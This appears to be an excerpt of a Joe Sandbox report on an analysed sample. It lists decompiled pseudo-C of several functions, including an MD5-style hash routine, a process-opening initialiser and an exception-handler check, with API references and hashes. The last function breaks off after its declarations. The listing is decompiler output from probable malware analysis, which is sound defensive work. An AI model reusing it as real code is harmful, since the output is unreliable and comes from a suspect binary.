					if(_t3 >> 8 > 0) {
						L5:
						 *0x40416c = _t3;
						_t5 = GetCurrentProcessId();
						 *0x404168 = _t5;
						 *0x404170 = _t10;
						_t6 = OpenProcess(0x10047a, 0, _t5);
						 *0x404164 = _t6;
						if(_t6 == 0) {
							 *0x404164 =  *0x404164 | 0xffffffff;
						}
						return 0;
					} else {
						_t14 = _t3 - _t3;
						goto L4;
					}
				}
			}

0x00401d69
0x00401d77
0x00401d7d
0x00401d84
0x00401ddb
0x00401ddb
0x00401d86
0x00401d8e
0x00401d9b
0x00401d9b
0x00401dd7
0x00401dd9
0x00000000
0x00000000
0x00000000
0x00401d90
0x00401d97
0x00401d9d
0x00401d9d
0x00401da2
0x00401db0
0x00401db5
0x00401dbb
0x00401dc1
0x00401dc8
0x00401dca
0x00401dca
0x00401dd4
0x00401d99
0x00401d99
0x00000000
0x00401d99
0x00401d97

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,004019FC), ref: 00401D77
GetVersion.KERNEL32 ref: 00401D86
GetCurrentProcessId.KERNEL32 ref: 00401DA2
OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 00401DBB

Memory Dump Source

Source File: 00000000.00000002.523151109.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.523151109.0000000000403000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_server.jbxd

Similarity

API ID: Process$CreateCurrentEventOpenVersion
String ID:
API String ID: 845504543-0
Opcode ID: 942fea0c167442ffbc7de75f1a00d0a86d0160437e27dbd34d25ba67bdbb0534
Instruction ID: a5005e0615366c288a960c89f9170266babf83a3c5a8d8e9540ac284067a1926
Opcode Fuzzy Hash: 942fea0c167442ffbc7de75f1a00d0a86d0160437e27dbd34d25ba67bdbb0534
Instruction Fuzzy Hash: 79F0AFB05813009BE7509F78BE0DB563F64AB95712F000036E601FA2F8D7709982CB5C

Uniqueness

Uniqueness Score: -1.00%

Function 007916DF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 611
COMMONCrypto

Download Yara Rule

C-Code - Quality: 49%

			E007916DF(void* __ecx, void* _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				intOrPtr* _t226;
				signed int _t229;
				signed int _t231;
				signed int _t233;
				signed int _t235;
				signed int _t237;
				signed int _t239;
				signed int _t241;
				signed int _t243;
				signed int _t245;
				signed int _t247;
				signed int _t249;
				signed int _t251;
				signed int _t253;
				signed int _t255;
				signed int _t257;
				signed int _t259;
				signed int _t338;
				signed char* _t348;
				signed int _t349;
				signed int _t351;
				signed int _t353;
				signed int _t355;
				signed int _t357;
				signed int _t359;
				signed int _t361;
				signed int _t363;
				signed int _t365;
				signed int _t367;
				signed int _t376;
				signed int _t378;
				signed int _t380;
				signed int _t382;
				signed int _t384;
				intOrPtr* _t400;
				signed int* _t401;
				signed int _t402;
				signed int _t404;
				signed int _t406;
				signed int _t408;
				signed int _t410;
				signed int _t412;
				signed int _t414;
				signed int _t416;
				signed int _t418;
				signed int _t420;
				signed int _t422;
				signed int _t424;
				signed int _t432;
				signed int _t434;
				signed int _t436;
				signed int _t438;
				signed int _t440;
				signed int _t508;
				signed int _t599;
				signed int _t607;
				signed int _t613;
				signed int _t679;
				void* _t682;
				signed int _t683;
				signed int _t685;
				signed int _t690;
				signed int _t692;
				signed int _t697;
				signed int _t699;
				signed int _t718;
				signed int _t720;
				signed int _t722;
				signed int _t724;
				signed int _t726;
				signed int _t728;
				signed int _t734;
				signed int _t740;
				signed int _t742;
				signed int _t744;
				signed int _t746;
				signed int _t748;

				_t1 =  &_a4; // 0x79544b
				_t226 =  *_t1;
				_t348 = __ecx + 2;
				_t401 =  &_v76;
				_t682 = 0x10;
				do {
					 *_t401 = (((_t348[1] & 0x000000ff) << 0x00000008 |  *_t348 & 0x000000ff) << 0x00000008 |  *(_t348 - 1) & 0x000000ff) << 0x00000008 |  *(_t348 - 2) & 0x000000ff;
					_t401 =  &(_t401[1]);
					_t348 =  &(_t348[4]);
					_t682 = _t682 - 1;
				} while (_t682 != 0);
				_t683 =  *(_t226 + 4);
				_t402 =  *(_t226 + 8);
				_t349 =  *(_t226 + 0xc);
				asm("rol eax, 0x7");
				_t229 = ( !_t683 & _t349 | _t402 & _t683) + _v76 +  *_t226 - 0x28955b88 + _t683;
				asm("rol ecx, 0xc");
				_t351 = ( !_t229 & _t402 | _t683 & _t229) + _v72 + _t349 - 0x173848aa + _t229;
				asm("ror edx, 0xf");
				_t404 = ( !_t351 & _t683 | _t351 & _t229) + _v68 + _t402 + 0x242070db + _t351;
				asm("ror esi, 0xa");
				_t685 = ( !_t404 & _t229 | _t351 & _t404) + _v64 + _t683 - 0x3e423112 + _t404;
				_v8 = _t685;
				_t690 = _v8;
				asm("rol eax, 0x7");
				_t231 = ( !_t685 & _t351 | _t404 & _v8) + _v60 + _t229 - 0xa83f051 + _t690;
				asm("rol ecx, 0xc");
				_t353 = ( !_t231 & _t404 | _t690 & _t231) + _v56 + _t351 + 0x4787c62a + _t231;
				asm("ror edx, 0xf");
				_t406 = ( !_t353 & _t690 | _t353 & _t231) + _v52 + _t404 - 0x57cfb9ed + _t353;
				asm("ror esi, 0xa");
				_t692 = ( !_t406 & _t231 | _t353 & _t406) + _v48 + _t690 - 0x2b96aff + _t406;
				_v8 = _t692;
				_t697 = _v8;
				asm("rol eax, 0x7");
				_t233 = ( !_t692 & _t353 | _t406 & _v8) + _v44 + _t231 + 0x698098d8 + _t697;
				asm("rol ecx, 0xc");
				_t355 = ( !_t233 & _t406 | _t697 & _t233) + _v40 + _t353 - 0x74bb0851 + _t233;
				asm("ror edx, 0xf");
				_t408 = ( !_t355 & _t697 | _t355 & _t233) + _v36 + _t406 - 0xa44f + _t355;
				asm("ror esi, 0xa");
				_t699 = ( !_t408 & _t233 | _t355 & _t408) + _v32 + _t697 - 0x76a32842 + _t408;
				_v8 = _t699;
				asm("rol eax, 0x7");
				_t235 = ( !_t699 & _t355 | _t408 & _v8) + _v28 + _t233 + 0x6b901122 + _v8;
				asm("rol ecx, 0xc");
				_t357 = ( !_t235 & _t408 | _v8 & _t235) + _v24 + _t355 - 0x2678e6d + _t235;
				_t508 =  !_t357;
				asm("ror edx, 0xf");
				_t410 = (_t508 & _v8 | _t357 & _t235) + _v20 + _t408 - 0x5986bc72 + _t357;
				_v12 = _t410;
				_v12 =  !_v12;
				asm("ror esi, 0xa");
				_t718 = (_v12 & _t235 | _t357 & _t410) + _v16 + _v8 + 0x49b40821 + _t410;
				asm("rol eax, 0x5");
				_t237 = (_t508 & _t410 | _t357 & _t718) + _v72 + _t235 - 0x9e1da9e + _t718;
				asm("rol ecx, 0x9");
				_t359 = (_v12 & _t718 | _t410 & _t237) + _v52 + _t357 - 0x3fbf4cc0 + _t237;
				asm("rol edx, 0xe");
				_t412 = ( !_t718 & _t237 | _t359 & _t718) + _v32 + _t410 + 0x265e5a51 + _t359;
				asm("ror esi, 0xc");
				_t720 = ( !_t237 & _t359 | _t412 & _t237) + _v76 + _t718 - 0x16493856 + _t412;
				asm("rol eax, 0x5");
				_t239 = ( !_t359 & _t412 | _t359 & _t720) + _v56 + _t237 - 0x29d0efa3 + _t720;
				asm("rol ecx, 0x9");
				_t361 = ( !_t412 & _t720 | _t412 & _t239) + _v36 + _t359 + 0x2441453 + _t239;
				asm("rol edx, 0xe");
				_t414 = ( !_t720 & _t239 | _t361 & _t720) + _v16 + _t412 - 0x275e197f + _t361;
				asm("ror esi, 0xc");
				_t722 = ( !_t239 & _t361 | _t414 & _t239) + _v60 + _t720 - 0x182c0438 + _t414;
				asm("rol eax, 0x5");
				_t241 = ( !_t361 & _t414 | _t361 & _t722) + _v40 + _t239 + 0x21e1cde6 + _t722;
				asm("rol ecx, 0x9");
				_t363 = ( !_t414 & _t722 | _t414 & _t241) + _v20 + _t361 - 0x3cc8f82a + _t241;
				asm("rol edx, 0xe");
				_t416 = ( !_t722 & _t241 | _t363 & _t722) + _v64 + _t414 - 0xb2af279 + _t363;
				asm("ror esi, 0xc");
				_t724 = ( !_t241 & _t363 | _t416 & _t241) + _v44 + _t722 + 0x455a14ed + _t416;
				asm("rol eax, 0x5");
				_t243 = ( !_t363 & _t416 | _t363 & _t724) + _v24 + _t241 - 0x561c16fb + _t724;
				asm("rol ecx, 0x9");
				_t365 = ( !_t416 & _t724 | _t416 & _t243) + _v68 + _t363 - 0x3105c08 + _t243;
				asm("rol edx, 0xe");
				_t418 = ( !_t724 & _t243 | _t365 & _t724) + _v48 + _t416 + 0x676f02d9 + _t365;
				asm("ror esi, 0xc");
				_t726 = ( !_t243 & _t365 | _t418 & _t243) + _v28 + _t724 - 0x72d5b376 + _t418;
				asm("rol eax, 0x4");
				_t245 = (_t365 ^ _t418 ^ _t726) + _v56 + _t243 - 0x5c6be + _t726;
				asm("rol ecx, 0xb");
				_t367 = (_t418 ^ _t726 ^ _t245) + _v44 + _t365 - 0x788e097f + _t245;
				asm("rol edx, 0x10");
				_t420 = (_t367 ^ _t726 ^ _t245) + _v32 + _t418 + 0x6d9d6122 + _t367;
				_t599 = _t367 ^ _t420;
				asm("ror esi, 0x9");
				_t728 = (_t599 ^ _t245) + _v20 + _t726 - 0x21ac7f4 + _t420;
				asm("rol eax, 0x4");
				_t247 = (_t599 ^ _t728) + _v72 + _t245 - 0x5b4115bc + _t728;
				asm("rol edi, 0xb");
				_t607 = (_t420 ^ _t728 ^ _t247) + _v60 + _t367 + 0x4bdecfa9 + _t247;
				asm("rol edx, 0x10");
				_t422 = (_t607 ^ _t728 ^ _t247) + _v48 + _t420 - 0x944b4a0 + _t607;
				_t338 = _t607 ^ _t422;
				asm("ror ecx, 0x9");
				_t376 = (_t338 ^ _t247) + _v36 + _t728 - 0x41404390 + _t422;
				asm("rol eax, 0x4");
				_t249 = (_t338 ^ _t376) + _v24 + _t247 + 0x289b7ec6 + _t376;
				asm("rol esi, 0xb");
				_t734 = (_t422 ^ _t376 ^ _t249) + _v76 + _t607 - 0x155ed806 + _t249;
				asm("rol edi, 0x10");
				_t613 = (_t734 ^ _t376 ^ _t249) + _v64 + _t422 - 0x2b10cf7b + _t734;
				_t424 = _t734 ^ _t613;
				asm("ror ecx, 0x9");
				_t378 = (_t424 ^ _t249) + _v52 + _t376 + 0x4881d05 + _t613;
				asm("rol eax, 0x4");
				_t251 = (_t424 ^ _t378) + _v40 + _t249 - 0x262b2fc7 + _t378;
				asm("rol edx, 0xb");
				_t432 = (_t613 ^ _t378 ^ _t251) + _v28 + _t734 - 0x1924661b + _t251;
				asm("rol esi, 0x10");
				_t740 = (_t432 ^ _t378 ^ _t251) + _v16 + _t613 + 0x1fa27cf8 + _t432;
				asm("ror ecx, 0x9");
				_t380 = (_t432 ^ _t740 ^ _t251) + _v68 + _t378 - 0x3b53a99b + _t740;
				asm("rol eax, 0x6");
				_t253 = (( !_t432 | _t380) ^ _t740) + _v76 + _t251 - 0xbd6ddbc + _t380;
				asm("rol edx, 0xa");
				_t434 = (( !_t740 | _t253) ^ _t380) + _v48 + _t432 + 0x432aff97 + _t253;
				asm("rol esi, 0xf");
				_t742 = (( !_t380 | _t434) ^ _t253) + _v20 + _t740 - 0x546bdc59 + _t434;
				asm("ror ecx, 0xb");
				_t382 = (( !_t253 | _t742) ^ _t434) + _v56 + _t380 - 0x36c5fc7 + _t742;
				asm("rol eax, 0x6");
				_t255 = (( !_t434 | _t382) ^ _t742) + _v28 + _t253 + 0x655b59c3 + _t382;
				asm("rol edx, 0xa");
				_t436 = (( !_t742 | _t255) ^ _t382) + _v64 + _t434 - 0x70f3336e + _t255;
				asm("rol esi, 0xf");
				_t744 = (( !_t382 | _t436) ^ _t255) + _v36 + _t742 - 0x100b83 + _t436;
				asm("ror ecx, 0xb");
				_t384 = (( !_t255 | _t744) ^ _t436) + _v72 + _t382 - 0x7a7ba22f + _t744;
				asm("rol eax, 0x6");
				_t257 = (( !_t436 | _t384) ^ _t744) + _v44 + _t255 + 0x6fa87e4f + _t384;
				asm("rol edx, 0xa");
				_t438 = (( !_t744 | _t257) ^ _t384) + _v16 + _t436 - 0x1d31920 + _t257;
				asm("rol esi, 0xf");
				_t746 = (( !_t384 | _t438) ^ _t257) + _v52 + _t744 - 0x5cfebcec + _t438;
				asm("ror edi, 0xb");
				_t679 = (( !_t257 | _t746) ^ _t438) + _v24 + _t384 + 0x4e0811a1 + _t746;
				asm("rol eax, 0x6");
				_t259 = (( !_t438 | _t679) ^ _t746) + _v60 + _t257 - 0x8ac817e + _t679;
				asm("rol edx, 0xa");
				_t440 = (( !_t746 | _t259) ^ _t679) + _v32 + _t438 - 0x42c50dcb + _t259;
				_t400 = _a4;
				asm("rol esi, 0xf");
				_t748 = (( !_t679 | _t440) ^ _t259) + _v68 + _t746 + 0x2ad7d2bb + _t440;
				 *_t400 =  *_t400 + _t259;
				asm("ror eax, 0xb");
				 *((intOrPtr*)(_t400 + 4)) = (( !_t259 | _t748) ^ _t440) + _v40 + _t679 - 0x14792c6f +  *((intOrPtr*)(_t400 + 4)) + _t748;
				 *((intOrPtr*)(_t400 + 8)) =  *((intOrPtr*)(_t400 + 8)) + _t748;
				 *((intOrPtr*)(_t400 + 0xc)) =  *((intOrPtr*)(_t400 + 0xc)) + _t440;
				return memset( &_v76, 0, 0x40);
			}

0x007916e2
0x007916e2
0x007916ed
0x007916f0
0x007916f3
0x007916f4
0x00791712
0x00791714
0x00791717
0x0079171a
0x0079171a
0x0079171d
0x00791720
0x00791723
0x00791740
0x00791743
0x00791759
0x0079175c
0x00791776
0x00791779
0x0079178f
0x00791792
0x00791794
0x007917ac
0x007917af
0x007917b2
0x007917ca
0x007917cd
0x007917e7
0x007917ea
0x00791800
0x00791803
0x00791805
0x0079181d
0x00791822
0x00791825
0x0079183b
0x0079183e
0x00791858
0x0079185b
0x00791871
0x00791874
0x00791876
0x00791891
0x00791894
0x007918ab
0x007918ae
0x007918b2
0x007918cb
0x007918ce
0x007918d0
0x007918d3
0x007918ee
0x007918f1
0x0079190a
0x0079190d
0x0079191d
0x00791920
0x00791938
0x0079193b
0x00791955
0x00791958
0x00791970
0x00791973
0x00791989
0x0079198c
0x007919a4
0x007919a7
0x007919bf
0x007919c2
0x007919dc
0x007919df
0x007919f5
0x007919f8
0x00791a10
0x00791a13
0x00791a2d
0x00791a30
0x00791a48
0x00791a4b
0x00791a61
0x00791a64
0x00791a7c
0x00791a7f
0x00791a97
0x00791a9a
0x00791aac
0x00791aaf
0x00791ac1
0x00791ac4
0x00791ad6
0x00791ad9
0x00791add
0x00791aed
0x00791af0
0x00791afe
0x00791b01
0x00791b13
0x00791b16
0x00791b2a
0x00791b2d
0x00791b2f
0x00791b3f
0x00791b42
0x00791b54
0x00791b57
0x00791b65
0x00791b68
0x00791b7a
0x00791b7d
0x00791b81
0x00791b91
0x00791b94
0x00791ba6
0x00791ba9
0x00791bb7
0x00791bba
0x00791bcc
0x00791bcf
0x00791be1
0x00791be4
0x00791bf8
0x00791bfb
0x00791c0f
0x00791c12
0x00791c26
0x00791c29
0x00791c3d
0x00791c40
0x00791c54
0x00791c57
0x00791c6b
0x00791c70
0x00791c82
0x00791c85
0x00791c99
0x00791c9c
0x00791cb0
0x00791cb3
0x00791cc9
0x00791ccc
0x00791ce0
0x00791ce3
0x00791cf5
0x00791cf8
0x00791d0c
0x00791d0f
0x00791d23
0x00791d26
0x00791d3a
0x00791d43
0x00791d46
0x00791d4f
0x00791d58
0x00791d60
0x00791d68
0x00791d72
0x00791d87

APIs

memset.NTDLL ref: 00791D7B

Strings

KTy, xrefs: 007916E2

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: memset
String ID: KTy
API String ID: 2221118986-1954605819
Opcode ID: 731c4c0f351f3efb1da8e5c57353aa3635b345d7971c0b598f3b3c7e53c72fd3
Instruction ID: ace8a5a41f2b715fb2ec90ecaee2ae3f799ede7693ed935e4eab4c874970950b
Opcode Fuzzy Hash: 731c4c0f351f3efb1da8e5c57353aa3635b345d7971c0b598f3b3c7e53c72fd3
Instruction Fuzzy Hash: 2822847BE516169BDB08CA95CC805E9B3E3BBC832471F9179C919E3305EE797A0786C0

Uniqueness

Uniqueness Score: -1.00%

Function 00798551 Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00798551(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x79a380; // 0x0
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x79a3c8 = 1;
										__eflags =  *0x79a3c8;
										if( *0x79a3c8 != 0) {
											goto L60;
										}
										_t84 =  *0x79a380; // 0x0
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x79a3c8 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x79a380 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x79a388 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x79a384 + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x79a388 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x79a388 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x79a3c8 = 1;
							__eflags =  *0x79a3c8;
							if( *0x79a3c8 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x79a388 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x79a388 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x79a3c8 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x79a388 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t25 = _t81 - 1; // -1
							_t58 = _t25;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x79a380 = _t81;
								}
								_t28 = _t81 - 1; // 0x0
								_t58 = _t28;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x79a388 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x79a388 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x0079855b
0x0079855e
0x00798564
0x00798582
0x00000000
0x00798582
0x0079856c
0x00798575
0x0079857b
0x0079858a
0x0079858d
0x00798590
0x0079859a
0x0079859a
0x0079859c
0x0079859f
0x007985a1
0x007985a1
0x007985a3
0x007985a6
0x00000000
0x00000000
0x007985a8
0x007985aa
0x00798610
0x00798610
0x0079876e
0x00000000
0x0079876e
0x007985ac
0x007985ac
0x007985b0
0x007985b2
0x007985b2
0x007985b2
0x007985b2
0x007985b5
0x007985b6
0x007985b9
0x007985b9
0x007985bd
0x007985c1
0x007985cf
0x007985cf
0x007985d7
0x007985dd
0x007985df
0x007985e1
0x007985f1
0x007985fe
0x00798602
0x00798607
0x00798609
0x00798687
0x00798687
0x0079860b
0x0079860b
0x0079860b
0x00798689
0x0079868b
0x0079876c
0x0079876c
0x00000000
0x00798691
0x00798691
0x00798698
0x00000000
0x00000000
0x0079869e
0x007986a2
0x007986fe
0x00798700
0x00798708
0x0079870a
0x0079870c
0x00000000
0x00000000
0x0079870e
0x00798714
0x00798716
0x00798718
0x0079872d
0x0079872d
0x0079872f
0x0079875e
0x00798765
0x00000000
0x00798765
0x00798733
0x00798734
0x00798736
0x00798738
0x00798738
0x0079873a
0x0079873c
0x0079873e
0x00798752
0x00798752
0x00798755
0x00798757
0x00798757
0x00798758
0x00798758
0x00000000
0x00798740
0x00798740
0x00798740
0x00798749
0x0079874a
0x0079874c
0x0079874e
0x0079874e
0x00000000
0x00798740
0x0079873e
0x0079871a
0x00798721
0x00798721
0x00798723
0x00000000
0x00000000
0x00798725
0x00798726
0x00798729
0x0079872b
0x00000000
0x00000000
0x00000000
0x0079872b
0x00000000
0x00798721
0x007986a4
0x007986a7
0x007986ac
0x00000000
0x00000000
0x007986b5
0x007986b7
0x007986bd
0x00000000
0x00000000
0x007986c3
0x007986c9
0x00000000
0x00000000
0x007986cf
0x007986d1
0x007986da
0x007986de
0x00000000
0x00000000
0x007986e4
0x007986e7
0x007986e9
0x00000000
0x00000000
0x007986f0
0x007986f2
0x00000000
0x00000000
0x007986f4
0x007986f8
0x00000000
0x00000000
0x00000000
0x007986f8
0x00000000
0x00000000
0x00000000
0x007985e3
0x007985e3
0x007985e3
0x007985ea
0x00000000
0x00000000
0x007985ec
0x007985ed
0x007985ef
0x00000000
0x00000000
0x00000000
0x007985ef
0x00798617
0x00798619
0x00000000
0x00000000
0x00798629
0x0079862b
0x0079862d
0x00000000
0x00000000
0x00798633
0x0079863a
0x00798666
0x00798666
0x00798668
0x0079866a
0x0079867e
0x00798680
0x00000000
0x00000000
0x00000000
0x00000000
0x0079866c
0x0079866c
0x0079866c
0x00798675
0x00798676
0x00798678
0x0079867a
0x0079867a
0x00000000
0x0079866c
0x0079863c
0x0079863c
0x0079863f
0x00798641
0x00798653
0x00798653
0x00798656
0x00798658
0x00798658
0x00798659
0x00798659
0x0079865f
0x0079865f
0x00000000
0x00000000
0x00000000
0x00000000
0x00798643
0x00798643
0x00798643
0x0079864a
0x00000000
0x00000000
0x0079864c
0x0079864c
0x0079864d
0x00000000
0x00000000
0x00000000
0x0079864d
0x0079864f
0x00798651
0x00798664
0x00000000
0x00000000
0x00000000
0x00798664
0x00000000
0x00798651
0x007985c3
0x007985c6
0x007985c9
0x00000000
0x00000000
0x007985cb
0x007985cd
0x00000000
0x00000000
0x00000000
0x007985cd
0x00798592
0x00798594
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 00798602

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: eda459f66831a041c1685a8968b7772e06c477b9d241caf8e786bbb15604a0a5
Instruction ID: 1ec3f40c5b07a4d41a2235e0089305a89e9abb6e43ddb3227a28aa848fa1f456
Opcode Fuzzy Hash: eda459f66831a041c1685a8968b7772e06c477b9d241caf8e786bbb15604a0a5
Instruction Fuzzy Hash: 2061E4316006029FCFA9CF68F99066973A1FB87354B348529D942CB292EF3DDC46C697

Uniqueness

Uniqueness Score: -1.00%

Function 0079832C Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E0079832C(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
